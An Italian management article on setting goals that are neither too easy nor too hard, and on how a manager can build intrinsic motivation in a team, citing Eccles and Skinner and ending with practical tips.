Sembra che gli obiettivi più facili siano i più difficili da raggiungere.

Strano, vero?

Eppure è proprio così!

Vi siete mai trovati a dover raggiungere un obiettivo che reputavate troppo “basso” per voi? Cioè per il quale non servivano competenze specifiche e non era necessario mettere in campo un effort particolare?

E come vi siete sentiti?

Probabilmente sottostimati e, probabilmente, lo avrete considerato un “obiettivo di routine” su cui non fare un grande investimento, in una parola: vi siete sentiti demotivati.

È stato dimostrato, infatti, che se un obiettivo è troppo semplice da raggiungere, non muove la motivazione delle persone, anzi, dopo averlo raggiunto si registra un abbassamento dell’autostima e della fiducia nelle proprie capacità.

Se l’obiettivo, invece, è “alto”, cioè challenge, per cui occorre investire tempo, energia, studio per acquisire nuove competenze, allora le persone entrano in uno stato di risorsa: l’essere umano, infatti, è attirato dalle sfide.

Eccles, ricordiamolo, definisce la motivazione come l’interazione tra aspettative (sugli esiti) e valore attribuito al compito: più l’obiettivo è rilevante in termini di importanza, costi, utilità, più sarà importante per me raggiungerlo e, di conseguenza, maggiore sarà il mio impegno.

Tuttavia, non sempre capita di dover scalare una vetta, è più facile che si debba ogni giorno percorrere il solito sentiero. In entrambi i casi però si deve raggiungere la meta e, aspetto importante, se sbagliamo percorso rischiamo di non arrivare al traguardo.

Ecco perché è importante per un manager quando fissa gli obiettivi, riuscire a trovare un equilibrio tra obiettivi troppo bassi che rischiano di demotivare e obiettivi troppo sfidanti il cui rischio, invece, è quello di essere considerati irraggiungibili e quindi di non stimolare quello spirito competitivo che serve per tendere al successo e mettere in campo il meglio di se stessi.

Dunque, come fare per valorizzare gli obiettivi quotidiani e trovare la motivazione sufficiente al raggiungimento di quelli più sfidanti?

La chiave sta nell’investimento emotivo che ognuno di noi fa nei confronti di un obiettivo.

Ecco che un buon manager deve saper ispirare e alimentare quella motivazione intrinseca che è il motore di qualsiasi azione per cui è richiesto uno sforzo.

Questo tipo di motivazione non è legata a premi o “punizioni per cui ci si impegna per il tempo e con lo sforzo necessari a ottenere la ricompensa, ma è una motivazione autogratificante perché nel raggiungere l’obiettivo la persona ha la possibilità di esercitare le proprie competenze, di mettersi alla prova, di sperimentare nuove soluzioni e di appagare la sua voglia di curiosità e il suo bisogno di riconoscimento.

Ed è proprio questo il punto: un manager in questi frangenti deve indossare il cappello del leader e far entrare le sue persone in quello stato di risorsa per cui lo sforzo da compiere appare gratificante.

Il messaggio che deve passare è che tutti sono in grado di dare il loro contributo per il raggiungimento dell’obiettivo finale. E se, come dicevamo, la chiave sta nell’investimento emotivo, le emozioni su cui dovrà far leva dovranno essere positive e stimolare fiducia, passione, sostegno, energia.

Come fare? Quali comportamenti mettere in atto? Quale atteggiamento tenere?

Ecco alcuni suggerimenti:

  • pensare ad un percorso di monitoraggio in modo da affrontare le difficoltà volta per volta e non lasciare che si accumulino fino a diventare una montagna troppo alta da scalare.
  • Studiare momenti motivazionali in cui mettere in evidenza (e, perché no, festeggiare) avanzamenti, progressi e conquiste per tenere alta la tensione e l’energia.

Skinner, già negli anni ’50 aveva individuato l’importanza della “spinta motivazionale” che deriva dalla conoscenza dei risultati e dai feedback.

  • Evitare di dare sfogo a emozioni negative come delusione, se le cose non andassero nella direzione attesa; rabbia, in caso di fallimenti o errori di percorso; ansia nei confronti dell’avanzamento del progetto.
  • Mantenere il focus adottando e trasmettendo sempre un atteggiamento di fiducia e di proattività nella ricerca di soluzioni.

Quando si parla di obiettivi, infatti, non basta portare a bordo il proprio team, è altrettanto fondamentale sostenerlo e tenerne alta la motivazione e, per riuscirci un manager deve indossare il cappello del leader che ispira e motiva al miglioramento continuo, non solo all’assolvimento del compito.

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